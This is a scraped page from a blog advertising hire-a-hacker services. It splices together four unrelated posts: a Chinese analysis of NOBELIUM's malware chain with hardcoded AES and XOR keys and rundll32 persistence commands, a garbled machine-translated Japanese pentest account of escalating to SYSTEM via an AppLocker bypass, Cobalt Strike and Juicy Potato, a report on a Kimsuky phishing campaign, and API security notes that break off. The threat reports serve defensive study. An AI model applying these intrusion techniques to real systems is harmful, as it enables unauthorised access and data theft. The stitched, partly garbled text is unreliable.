Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863108791

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

攻擊者NOBELIUM最近加強了通過基於電子郵件的攻擊，郵件釣魚攻擊自2021 年初以來一直在進行。我們將繼續監視這種主動攻擊活動，並發布更多詳細信息。在本文中，我們重點介紹了代表NOBELIUM 使用的獨特感染鏈的四個工具：EnvyScout、BoomBox、NativeZone 和VaporRage。據觀察，這些工具早在2021 年2 月就在野外使用，試圖攻擊各種敏感的外交和政府目標。

本文中討論的每個NOBELIUM 工具都是為靈活性而設計的，使使用者能夠隨著時間的推移適應場景。 NOBELIUM 的安全能力可能影響了該工具集的設計，該工具集為在潛在高風險和高對抗環境中的使用者提供了更好的隱藏功能。這些安全功能是：

使用可信通道：BoomBox是一款獨特開發的下載程序，用於從攻擊者控制的Dropbox帳戶獲取後期有效負載。所有初始通信都通過HTTPS利用Dropbox API。

環境分析：與NOBELIUM、BoomBox、VaporRage 和一些NativeZone 變體使用的其他工具一致，樣本會對受影響的系統環境進行一定程度的分析。

混淆：VaporRage 是一個獨特的shellcode 加載器，被視為第三階段的有效載荷。 VaporRage 可以完全在內存中下載、解碼和執行任意負載。這種設計和部署模式，其中還包括在受感染網站上暫存有效載荷，阻礙了傳統的工件和取證調查，允許獨特的有效載荷不被發現。

儘管自2020 年底SolarWinds 攻擊事件曝光以來，社區知名度不斷提高，但NOBELIUM 仍繼續以全球政府和外交實體為目標。我們預計，隨著這些業務的進展，NOBELIUM 將繼續完善其工具和策略，以面向全球目標。

0x01 EnvyScout：NV.html（惡意HTML 文件）NV.html被Microsoft 跟踪為EnvyScout，最好將其描述為一個能夠對惡意ISO 文件進行反混淆並將其寫入磁盤的惡意投放器。 EnvyScout 主要通過魚叉式網絡釣魚電子郵件的附件發送給NOBELIUM 的目標。

NV.html的HTML

組件#1：跟踪和憑據收集URL

img

在EnvyScout 的一種變體中，

第一個以file://協議處理程序為前綴，表示試圖誘使操作系統通過端口445 將敏感的NTLMv2 信息發送到指定的攻擊者控制的IP 地址。 攻擊者很可能正在運行憑據在這些事務的另一端捕獲服務，例如Responder。

第二個URL 在分析時解析為與前者相同的IP 地址，遠程獲取作為HTML 誘餌一部分的圖像。這種技術有時被稱為“網絡錯誤”，作為對NOBELIUM 的各種讀取返回，驗證預期目標是否已打開惡意附件。

組件#2：FileSaver JavaScript 幫助程序代碼

img

EnvyScout 的第二部分是開源工具FileSaver的修改版本，旨在幫助通過JavaScript 將文件寫入磁盤。該代碼直接從公開可用的變體中藉用，並進行了細微改動，包括去除空格、將十六進制參數轉換為十進制以及重命名變量。通過將此代碼與下面詳述的組件#3 和#4 相結合，NOBELIUM 有效地實現了HTML 走私方法。這種方法可以通過在執行時在動態更改的內容中隱藏已知惡意文件類型來規避對已知惡意文件類型的靜態分析。

https://github.com/eligrey/FileSaver.js

https://outflank.nl/blog/2018/08/14/html-smuggling-explained/組件#3：混淆的ISO 文件

img

EnvyScout 的第三部分包含存儲為編碼blob 的有效負載。此有效負載通過使用單字節密鑰對每個字符進行異或來解碼，然後生成Base64 有效負載，然後通過組件#2 和#4 解碼並寫入磁盤。

組件#4：去混淆器和釋放器腳本

img

EnvyScout 的最後一個組件是一個簡短的代碼片段，負責解碼Base64 編碼/XOR'd blob 中的ISO，並將其作為NV.img保存到磁盤，並使用mime 類型“application/octet-stream”。在感染的這個階段，用戶應該通過雙擊打開下載的ISO NV.img。

EnvyScout 變體#1：

img

在攻擊者的網絡釣魚活動的某些迭代版本中，EnvyScout 包含被window.location.pathname調用的守護進程，並利用其值來確保返回的字符數組中的前兩個條目是“C”和“:”。如果不滿足這個條件，表明樣本不是從C:驅動器執行，那麼嵌入的ISO 就不會寫入磁盤。

img

EnvyScout 變體#2：

img

在至少一個EnvyScout 實例中，我們觀察到了對正在執行的瀏覽器環境的進一步枚舉，其中用戶代理用於確定Windows 機器是否收到了ISO 負載。

1.NV.img（惡意ISO 文件）當目標用戶通過雙擊打開NV.img時，Windows 10 上的默認行為是在下一個可用驅動器上安裝ISO 映像。 Windows 資源管理器隨後會在一個窗口中顯示已安裝ISO 的內容，類似於用戶打開文件夾或壓縮檔案時看到的內容。

img

如上所示，掛載的ISO 包含一個可見文件，一個名為NV的快捷方式文件。但是，在Windows 中調整文件和文件夾設置以顯示隱藏文件和文件夾會暴露一個名為NV的隱藏文件夾和一個名為BOOM.exe的隱藏可執行文件：

img

用戶很可能會與NV.lnk進行交互，但是手動執行隱藏文件BOOM.exe也會導致系統被感染。下面詳細介紹了每個文件的各個內容。

2.NV.pdf（釣魚文件）掛載的ISO 中隱藏的NV 目錄包含一個名為NV.pdf的誘餌PDF 文件：

img

如本分析稍後所述，NV目錄的內容通過BOOM.exe顯示給用戶。

3.NV.lnk（惡意快捷方式）NV.lnk是隱藏文件BOOM.exe的快捷方式、啟動器。如下所示，該快捷方式利用了一個二進製文件(LOLBin) 來使用以下硬編碼的快捷方式目標值來代理BOOM.exe的執行：C:\Windows\System32\rundll32.exe c:\ windows\system32\advpack.dll，註冊OCX BOOM.exe。

img

還發現了此LNK 文件的變體，其中包含以下快捷方式目標值：C:\Windows\System32\cmd.exe /c start BOOM.exe。

圖標通常是文件夾，旨在誘使目標用戶認為他們正在打開文件夾的快捷方式。

還觀察到已知LNK 文件的以下目標：

C:\Windows\System32\rundll32.exe IMGMountingService.dll MountImgHelper

C:\Windows\System32\rundll32.exe diassvcs.dll InitializeComponent

C:\Windows\System32\rundll32.exe MsDiskMountService.dll DiskDriveIni

C:\Windows\system32\rundll32.exe data/mstu.dll,MicrosoftUpdateService

0x02 BoomBox：BOOM.exe（惡意下載器）BOOM.exe被微軟追踪為“BoomBox”，可以說是一個惡意下載程序。下載器負責下載和執行感染的下一階段組件。這些組件是從Dropbox 下載的（使用硬編碼的Dropbox Bearer/Access 令牌）。

執行時，BoomBox 確保在其當前工作目錄中存在名為NV 的目錄。如果該目錄存在，BoomBox 會在新的Windows 資源管理器窗口中顯示NV目錄的內容（讓用戶打開PDF 文件）。

img

接下來，BoomBox 確保系統上不存在以下文件：%AppData%\Microsoft\NativeCache\NativeCacheSvc.dll（此文件將在本分析的後面部分介紹）。 BoomBox 會枚舉受害者係統的各種受害者主機信息，例如受害者係統的主機名、域名、IP 地址和用戶名，以編譯以下字符串：

img

接下來，BoomBox 使用硬編碼的加密密鑰“123do3y4r378o5t34onf7t3o573tfo73”和初始化向量(IV) 值“1233t04p7jn3n4rg”對上面的主機信息字符串進行加密。為了將數據偽裝成PDF 文件的內容，BoomBox 將PDF 的magic標記添加到上面的AES 加密主機信息字符串中：

img

BoomBox 繼續將上述數據（偽裝成PDF 文件）上傳到Dropbox 中的一個專門針對每個受害者的系統文件夾。出於演示目的，下麵包含用於將文件/數據上傳到Dropbox 的示例HTTP(s) POST 請求。

img

為確保文件已成功上傳到Dropbox，BoomBox 使用一組正則表達式值來檢查來自Dropbox 的HTTP 響應。如下所示，正則表達式用於檢查從Dropbox 收到的HTTP 響應中是否存在is_downloadable、path_lower、content_hash和size字段。值得注意的是，即使上傳操作不成功，BoomBox 也會忽略此檢查的結果並繼續進行。

img

接下來，BoomBox 從Dropbox 下載加密文件。出於演示目的，下面顯示了用於從Dropbox 下載加密文件的示例HTTP(s) POST 請求。

img

從Dropbox 成功下載加密文件後，BoomBox 丟棄加密文件頭部的前10 個字節和尾部的7 個字節，然後使用硬編碼的加密密鑰“123do3y4r378o5t34onf7t3o573tfo73”和IV 值對文件的其餘部分進行AES 解密“1233t04p7jn3n4rg”。 BoomBox 將解密後的文件寫入文件系統%AppData%\Microsoft\NativeCache\NativeCacheSvc.dll。然後，它通過創建名為MicroNativeCacheSvc的Run 註冊表值來為NativeCacheSvc.dll建立持久性：

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicroNativeCacheSvc

Run 註冊表值使用以下命令填充，該命令用於使用rundll32.exe並通過調用其名為“ _configNativeCache ”的導出函數來執行NativeCacheSvc.dll：

rundll32.exe %AppData%\Microsoft\NativeCache\NativeCacheSvc.dll _configNativeCache

接下來，BoomBox 從Dropbox 路徑/tmp/readme.pdf下載第二個加密文件，丟棄加密文件頭部的前10 個字節和結尾的7 個字節，然後對文件的其餘部分進行AES 解密（使用與上述相同的AES IV 和密鑰）。它在%AppData%\SystemCertificates\CertPKIProvider.dll 中寫入解密文件，然後使用與上面相同的rundll32.exe命令繼續執行先前刪除的文件NativeCacheSvc.dll。

如果系統已加入域，BoomBox 會執行LDAP 查詢以通過過濾器((objectClass=user)收集所有域用戶的專有名稱、SAM 帳戶名稱、電子郵件和顯示名稱等數據) (objectCategory=person))。

img

枚舉數據經過AES 加密（使用與之前相同的IV 和密鑰），封裝在偽造的PDF 文件中，並上傳到Dropbox 路徑/new/

0x03 NativeZone：NativeCacheSvc.dll（惡意加載器）NativeCacheSvc.dll，被稱為“NativeZone”，最恰當的描述是一個惡意加載器，它負責利用rundll32.exe加載惡意下載組件CertPKIProvider.dll。

NativeCacheSvc.dll的惡意功能位於configNativeCache的DLL 導出函數中。

img

如上所示，導出函數通過調用名為eglGetConfigs的導出函數執行rundll32.exe來加載*%AppData%\SystemCertificates\Lib\* CertPKIProvider.dll。

0x04 VaporRage：CertPKIProvider.dll（惡意下載器）CertPKIProvider.dll，被稱為“VaporRage”，被描述為一個shellcode 下載器。此版本的VaporRage 包含11 個導出函數，包括eglGetConfigs，它包含DLL 的惡意功能。

img

正如前面所提到的，NativeZone利用RUNDLL32.EXE執行eglGetConfigs的導出功能CertPKIProvider.dll。執行時，導出函數首先確保系統上存在NativeZone DLL %AppData%\Microsoft\NativeCache\NativeCacheSvc.dll（否則會終止）。接下來，導出功能向合法但受到攻擊的WordPress 站點holescontracting[.]com發出HTTP(s) GET 請求。 GET 請求由動態生成和硬編碼的值組成，例如：

img

GET 請求的目的是首先將系統註冊為受到威脅，然後從WordPress 站點下載XOR 編碼的shellcode blob。成功下載後，導出函數XOR 對shellcode blob 進行解碼（使用硬編碼的多字節XOR 密鑰“346hrfyfsvvu235632542834”）。

img

然後通過跳轉到可執行內存區域中shellcode blob 的開頭，繼續在內存中執行解碼的shellcode。下載、解碼、執行過程無限期地重複，大約每小時一次，直到從內存中卸載DLL。 VaporRage 可以執行其C2 服務器提供的任何兼容shellcode，包括Cobalt Strike 階段shellcode。

定制Cobalt Strike 加載器NOBELIUM 使用了多個自定義Cobalt Strike Beacon 加載器（可能使用自定義Artifact Kit 模板生成）來啟用其惡意活動。其中包括TEARDROP、Raindrop 和其他自定義加載器。

img

新的加載器DLL 包含誘餌導出名稱和函數，以及從合法應用程序借用的代碼和字符串。新的NativeZone 加載器可以分為兩種變體：

變體#1：這些加載器嵌入了編碼/加密的Cobalt Strike Beacon shellcode

變體#2：這些加載器從另一個附帶文件（例如，RTF 文件）加載編碼/加密的Cobalt Strike Beacon shellcode。

在接下來的部分中，我們將討論我們在調查中觀察到的一些新的NativeZone Cobalt Strike Beacon 變體。

NativeZone 變體#1與之前的NOBELIUM 自定義Cobalt Strike 加載器（例如TEARDROP 和Raindrop）類似，這些NativeZone 加載器負責解碼/解密嵌入式Cobalt Strike Beacon 階段shellcode 並在內存中執行它。一些NativeZone 加載程序具有反分析反調試功能以阻止對樣本的分析。

在這些版本的NativeZone 中，攻擊者使用了各種編碼和加密方法來混淆嵌入的shellcode。例如，在下面的示例中，NativeZone 變體使用簡單的字節交換解碼算法來解碼嵌入的shellcode：

img

img

另一個示例採用不同的解碼方法來解碼嵌入式shellcode，如下所示：

img

另一個示例採用去混淆方法，利用AES 加密算法解密嵌入的shellcode，如下所示：

img

下面顯示了另一個利用AES 解密嵌入式Cobalt Strike shellcode blob 的NativeZone 示例：

HireHackking

0x01はじめに

ヒント：否定的なケースとして見てください。実際、あなたがそれを得る方法は、以下に言及しているものよりもはるかに厄介ではありません。私はただ焦りすぎていると自分自身を責めています.

もともとはBCプロジェクトによって作成されたプロモーションサイトでしたが、当時はシェルしかありませんでした

图片

許可は通常のユーザーです。サーバー上の情報をさらに収集する許可を提起したいとき、彼はさまざまなことを実行することが許可を拒否されることを発見し、グループポリシーにプログラムをブロックするよう促しました。当時、他のことがあったため、彼はそれを研究し続けませんでした（プロジェクトは関連部門によって承認されており、ユーザー名はより敏感であり、プロセス全体が後でコーディングされます）。

图片

0x02バイパスアップルロッカー

私は最近突然それを覚えていたので、私はそれを続け、グループのマスターに尋ねました

图片

それが何であるかを知った後、簡単に言うことができます。辛抱強く探していると、常に何かを獲得します。 Applockerはじめに：

https://baike.baidu.com/item/applocker/2300852?fr=aladdinそれからマスター3gの記事を見つけました。

https://3gstudent.github.io/3gstudent.github.io/use-msxsl-to-bypass-applocker/suse who rease nows ows。記事を読んだ後、フォローアップの一般的なアイデアが明らかになります。

0x03オンラインでエスカレートする

私が思うのは、バイパスアップルロッカーにより、ターゲットサーバーはターゲットサーバーを実行し、馬が起動した後にその後の権利の引き上げを実行できるということですが、実行はシェルの下で実行されます

ネットユーザー、タスクリスト /SVCなどをエコーしないでください。そうしないと、プロセス比較を使用してソフトソフトウェアを判断できます（私が書いた小さなホイールで、一致するプロセスは960+：3http://get-av.se7ensec.cn/に増加しました）

わからないので、私は自分のキャラクターを競い、ホストにキリングソフトウェアがないことに賭けます。上記の3Gマスター記事の3番目の方法で馬を走らせた後、下のマシンを無視してオンラインになりました.

图片

CSが起動された後、次のようなコマンドを実行すると、タスクリスト/SCVは引き続きアクセスが拒否されます。

图片

次に、組み込みのCSシステムプロセスコマンド「PS」を試して、システムプロセスを正常にリストしました。それを見た後、それは本当にソフトウェアを殺しませんでした。

/*スクリーンショットを撮るのを忘れた */

走る "

Shell SystemInfo「システムとパッチ情報が見えることがわかりましたが、システムにはいくつかのパッチがありませんでした。私は幸運でした。ユーザーの許可をチェックした後、Juicy Potatoの要件を満たしました。

テスト後、それが起動されたことがわかりました（実際、実行許可はありましたが、その時点で何かが間違っているとは思っていませんでした。後で記事を要約したときに何かが間違っていることに気付きました。詳細については、記事の最後を参照してください）。 c: \ users \ public \には実行権限があります。 Juicy Potatoを使用してWhoamiパラメーターを実行し、システムに正常に戻りました。

图片

その後、それを使用して直接降りると、システムセッションは数秒で行われます。ディレクトリをめくった後、私はそれがまだウェブサイトグループであることがわかりました。

图片

管理者許可のスクリーンショットを取ります。たくさんあるのも不思議ではありません。彼らはすべてバッチでWebサイトを構築することがわかりました：

图片

0x04要約

今回は幸運でキラーに出会わなかったことが起こりました。そうでなければ、それはでこぼこの道であり、より挑戦的です。

最も失敗するのは、今回はApplockerの機能のいくつかを完全に理解していなかったことです。

https://www.anquanke.com/post/id/159892、私はバイパス法を検索することを切望していて、それを使用し始めました。実際、私が今回遭遇したのは、ファイルパスの単なる制限でした。 c: \ users \ public \はプログラムを実行できます。以前に見つけるのはそれほど難しくありません。ただし、Applockerメカニズムを完全に理解できることも報酬です。

元のリンクから転載：https://mp.weixin.qq.com/s/ede6g1g4hbmkxq6tkieq

HireHackking

1.概述近期，安天CERT（安天應急響應中心）在梳理安全事件時，發現一例偽裝成韓國互聯網安全局（KISA）研究員針對韓國新聞行業重要人物進行魚叉釣魚的網絡攻擊活動，經研判分析，此次活動來自Kimsuky組織。 Kimsuky是一個疑似來源於半島方向的網絡間諜組織，其至少自2012 年以來一直保持活躍。該組織的最初攻擊目標主要是韓國的政府、軍隊、外交、智囊團以及各領域專家，如今已擴展覆蓋至歐美、俄羅斯、日本等亞洲國家和地區，其情報收集活動的重點也從最初的與半島方向相關外交政策和國家安全問題拓展到數字貨幣等領域。

此次釣魚攻擊手法可總結如下：攻擊者首先通過老版本的BBS論壇程序漏洞入侵一批網站，上傳Webshell控製網站服務器用作跳板，掛載功能腳本和待分發的載荷。然後攻擊者發送魚叉式釣魚郵件，等待受害者的機器中招後下載跳板上的載荷，執行後可獲得受害機器的系統信息、文件和憑證等重要數據。

2.攻擊流程分析經過分析還原，推測攻擊流程如下：攻擊者首先通過BBS漏洞入侵了網站，然後上傳Webshell及其他攻擊活動中所需要的組件到web服務器，web服務器作為跳板機，實現發送郵件、接收受害者信息、提供惡意載荷下載等功能。最後攻擊者構造釣魚郵件投遞到目標機誘導用戶執行，攻擊者可通過Webshell獲取收集到的受害者信息。

图 2 1 攻击流程示意图.jpg

圖2‑1 攻擊流程示意圖

3.釣魚郵件分析表3‑1二進制可執行文件

3-1.png

此次攻擊活動目標為駐韓-韓國境內的Daily NK代表，攻擊者向其發送標題可譯為“210813_Business Contact (Cyber Safety)”的釣魚郵件，釣魚郵件中僅包含了一個含有惡意宏的doc附件。

表3‑2郵件信息

3-2.png

釣魚郵件的內容如下所示。

图 3 1 钓鱼邮件.jpg

圖3‑1 釣魚郵件

值得注意的是，該附件打開時需要密碼，等目標郵件詢問正確的密碼時，攻擊者將回复補充密碼。仿冒真實案例[1]，此次行動中回复的內容大致為“我很抱歉，先生。看來我犯了一個錯誤。密碼是cyber08^。謝謝。Dongwook Kim 高級研究員。”

图 3 2 附件打开时需要密码.jpg

圖3‑2 附件打開時需要密碼

图 3 3 攻击者回复补充密码[1].jpg

圖3‑3 攻擊者回复補充密碼[1]

攻擊者以文檔創建於早期Word版本作為藉口，誘導目標啟用宏。

图 3 4 诱导目标启用宏.jpg

圖3‑4 誘導目標啟用宏

文檔中的宏代碼主要實現兩部分功能，一部分用於顯示出文檔中的誘餌內容，另一部分用於從服務端下載惡意載荷並執行。

图 3 5 文档中的宏代码.jpg

圖3‑5 文檔中的宏代碼

正文誘餌內容大致以韓國網絡振興院的口吻描述智能手機感染惡意程序的應對方法，以增強文檔的可信性。

图 3 6 显示出的诱饵内容.jpg

圖3‑6 顯示出的誘餌內容

創建1589989024.xml文件到模板路徑下，並通過調用wscript.exe來執行xml中的vbscript代碼，VBScript代碼用於從服務端下載惡意載荷並執行。代碼內容如下：

图 3 7 下载恶意载荷的代码.jpg

圖3‑7 下載惡意載荷的代碼

图 3 8 xml文件内容.jpg

圖3‑8 xml文件內容

分析過程中載荷已被刪除，因此無法對後續載荷進行分析，但參考以往同源樣本可估測後續實現的功能主要如下[2]：

1) 將VBAWarnings數據添加到MS Office註冊表中以此更改安全功能。

2) 構造特定的http數據頭，並將收集的信息（系統信息、進程列表、最近訪問的文件等）經過Base64編碼後傳回跳板機。

3) 設置計劃任務用於執行跳板機中的其它惡意代碼。

4) 執行經過Base64編碼的PowerShell腳本，運行帶有惡意的鍵盤記錄功能，以記錄用戶的鍵盤輸入。

图 3 9 击键记录功能的Powershell脚本[2].jpg

圖3‑9 擊鍵記錄功能的Powershell腳本[2]

4.跳板機分析4.1 Webshell分析經過研判，載荷分發服務器的性質為跳板機，通過掃描發現某目錄下存在Webshell，根據服務器運行內容判斷攻擊者可能通過BBS漏洞入侵，得手後上傳Webshell來對服務器進行操作，包括上傳工具腳本和處理日誌結果。

對Webshell分析發現其採用的是嵌套的gzinflate和base64_decode做加密：

图 4 1 Webshell代码.jpg

圖4‑1 Webshell代碼

該工具可能為Kimsuky組織自研的Webshell工具，能夠獲取網站服務器的操作系統版本、操作系統名、主機名、cpu型號、IP地址等信息，具備目錄選擇及文件的下載、重命名、刪除、查看、上傳等功能。图 4 2 Webshell界面.jpg

圖4‑2 Webshell界面

在對網站文件排查時發現日誌文件中記錄如下信息，猜測在攻擊過程中如果檢測到目標存在分析行為，會自動刪除所有文件。

图 4 3 文件删除的日志.jpg

圖4‑3 文件刪除的日誌

4.2 發件工具分析跳板機中的其餘惡意文件已被刪除，只觀察到其中部分php文件。發現遺留的php文件中包含可能為該組織自有的發件工具，將該發件工具插入到跳板機的web目錄中，設置好可用來操縱跳板機發送郵件。

spacer.gif 图 4 4 轻量级邮件发送工具.jpg

圖4‑4 輕量級郵件發送工具

4.3 受害日誌分析跳板機會將受害者主機的信息存放到文件中，此行為猜測應為上述宏文檔下載的後續惡意載荷所具備的功能。文件中收集的信息包括：基礎系統信息、反病毒產品列表、特殊文件夾下的文件-最近編輯或打開的、進程列表信息。受害機中的文件名中含有許多“報導資料”、“平澤”字樣以及許多時事新聞內容，以此推測受害者是一名韓國人，且且應是新聞從業人員。

图 4 5 收集到的受害者信息.jpg

圖4‑5 收集到的受害者信息

根據對收集到的日誌、郵件等信息進行分析，我們發現連接Webshell的IP與魚叉郵件中的發件IP一致(192.203.145.*)。查詢到該IP地址歸屬於韓國建國大學，其只曾開放過3389端口且當前已關閉，無法繼續分析，猜測其可能是攻擊者攻陷的跳板機。

图 4 6 发送鱼叉邮件的IP所指向的主机.jpg

圖4‑6 發送魚叉郵件的IP所指向的主機

5 威脅框架映射本次系列攻擊活動共涉及ATTCK框架中9個階段的13個技術點，具體行為的技術特點分佈圖如下：图 5 1 技术特点对应ATT&CK的映射.jpg

圖5‑1 技術特點對應ATTCK的映射

具體的ATTCK技術行為描述表如下：

表5-1 ATTCK技術行為描述表

5-1.png

6.總結Kimsuky組織作為半島方向的APT組織，一直保持著很高的活躍度，其對熱點事件尤其是軍事政治和外交等相關的事件保持較高的關注，該組織在攻擊過程中體現出輕量化、多階段腳本載荷的特點，以避免檢測或延遲分析時間。此次攻擊活動與以往攻擊活動相似，均是入侵網站將其作為跳板機同受害機通信，此類攻擊手法能夠在一定程度上減少暴露的可能。

附錄：參考資料[1] 북한 해킹조직 ‘탈륨’, KISA 직원까지 사칭…전방위 공격

https://www.dailynk.com/20210817-4/

[2] 탈륨조직, 국내 블록체인 기업 체불확인원 문서로 공격 수행

https://blog.alyac.co.kr/3458

HireHackking

API安全学习笔记

必要性

前后端分离已经成为web的一大趋势，通过Tomcat+Ngnix(也可以中间有个Node.js)，有效地进行解耦。并且前后端分离会为以后的大型分布式架构、弹性计算架构、微服务架构、多端化服务（多种客户端，例如：浏览器，车载终端，安卓，IOS等等）打下坚实的基础。而API就承担了前后端的通信的职责。所以学习api安全很有必要。
本文的思路在于总结一些api方面常见的攻击面。笔者在这块也尚在学习中，如有错误，还望各位斧正。

常见的api技术

GraphQL

GraphQL 是一个用于 API 的查询语言
通常有如下特征：
（1）数据包都是发送至/graphql接口
i5q1xrdo00t14878.png
（2）其中包含了很多换行符\n

{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

SOAP-WSDL

WSDL (Web Services Description Language,Web服务描述语言)是一种XML Application，他将Web服务描述定义为一组服务访问点，客户端可以通过这些服务访问点对包含面向文档信息或面向过程调用的服务进行访问

走的是SOAP协议，一般发送的xml格式的数据，然后会有WSDL文件
mnzi1koomer14880.png
.net中常见的.asmx文件也有wsdl格式 xxx.asmx?wsdl
2yjagpphib414882.png
我们可以使用soapui对这类api进行测试

WADL

文件里面有很明显的wadl标志

pxjy1moafwg14885.png
同样也可以用soapui的rest功能进行测试

3mjwtmpkcwg14888.png

REST

rest api并不像前面几种那种特征明显，也是如今使用最多的一种api技术

REST 是一组架构规范，并非协议或标准。API 开发人员可以采用各种方式实施 REST。

当客户端通过 RESTful API 提出请求时，它会将资源状态表述传递给请求者或终端。该信息或表述通过 HTTP 以下列某种格式传输：JSON（Javascript 对象表示法）、HTML、XLT、Python、PHP 或纯文本。JSON 是最常用的编程语言，尽管它的名字英文原意为“JavaScript 对象表示法”，但它适用于各种语言，并且人和机器都能读。 

还有一些需要注意的地方：头和参数在 RESTful API HTTP 请求的 HTTP 方法中也很重要，因为其中包含了请求的元数据、授权、统一资源标识符（URI）、缓存、cookie 等重要标识信息。有请求头和响应头，每个头都有自己的 HTTP 连接信息和状态码。

获取端点的方式

对于api的一些安全测试，通常关注api的权限问题，api端点和基础设施的安全问题。
要测试api端点的安全问题，肯定得尽量获取多的api端点

swagger api-docs泄露

Swagger 是一个规范和完整的框架，用于生成、描述、调用和可视化 RESTful 风格的 Web 服务
常见指纹：

# swagger 2
/swagger-ui.html
/api-docs
/v2/api-docs

# swagger 3
/swagger-ui/index.html

yerttrtwhtt14891.png

/api-docs
/v2/api-docs
/v3/api-docs
...

api-docs可泄露所有端点信息
5uffwon2kqt14893.png
这里推荐两个工具进行测试
第一个是swagger-editor
https://github.com/swagger-api/swagger-editor
下载之后打开index.html就可以用，可以选择导入或者远程加载url，支持json和yaml格式的api-docs
vm2xmmvrsag14900.png
第二个是apikit https://github.com/API-Security/APIKit
burp插件
z5wxc4lrzru14902.png

graphql内省查询

获取所有端点信息
https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ

{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

bgfiloukh5g14906.png
我们可以用这个生成接口文档：
https://github.com/2fd/graphdoc
需要nodejs test.json是刚刚内省查询返回的json格式数据

npm install -g @2fd/graphdoc
graphdoc -s ./test.json -o ./doc/schema

然后我们打开生成的/doc/index.html
nsfcxpadql214910.png
根据他这个格式构造数据包就行了
2vddjci5pgj14913.png
5szkdidbhxj14916.png

其他

在黑盒测试中，很大一个问题就是api端点找得不够全，我们需要从对应的应用或者从其他方面找
（1）web
js html等静态资源可以有一些api端点
burp插件JS LinkFinder可以被动收集
（2）app和其他客户端应用
（3）github
（4）根据规律fuzz

鉴权方式

Basic Auth

每次请求API时都提供用户的username和password
通常在http数据包中有一个Authorization头

Authorization: Basic base64(username:password)

这个安全性比较低，现在很少用到

JWT

jwt（json web token）是一种基于 Token 的认证授权机制
分为三部分

  • Header : 描述 JWT 的元数据，定义了生成签名的算法以及 Token 的类型。
  • Payload : 用来存放实际需要传递的数据
  • Signature（签名） ：服务器通过 Payload、Header 和一个密钥(Secret)使用 Header 里面指定的签名算法（默认是 HMAC SHA256）生成 防止 JWT被篡改

计算方式 加密算法( base64(header) + "." + base64(payload), secret)
h2vfsjekknj14920.png
在线测试https://jwt.io/
i1wirv30jir14924.png
普通token需要后端存储与用户的对应关系，而JWT自身携带对应关系

其他自定义头、cookie

诸如apikey 或者随机生成的其他形式的token

常见安全问题及测试方法

api网关

API 网关是一个搭建在客户端和微服务之间的服务，我们可以在 API 网关中处理一些非业务功能的逻辑，例如权限验证、监控、缓存、请求路由等。

API 网关就像整个微服务系统的门面一样，是系统对外的唯一入口。有了它，客户端会先将请求发送到 API 网关，然后由 API 网关根据请求的标识信息将请求转发到微服务实例。

xgngpyvzuqh14927.png

apisix

Apache APISIX 是 Apache 软件基金会下的云原生 API 网关，它兼具动态、实时、高性能等特点，提供了负载均衡、动态上游、灰度发布（金丝雀发布）、服务熔断、身份认证、可观测性等丰富的流量管理功能。我们可以使用 Apache APISIX 来处理传统的南北向流量，也可以处理服务间的东西向流量。同时，它也支持作为 K8s Ingress Controller 来使用。

apisix之前爆出过一个命令执行漏洞CVE-2022-24112 （目前最新版本是3.0）
影响范围：

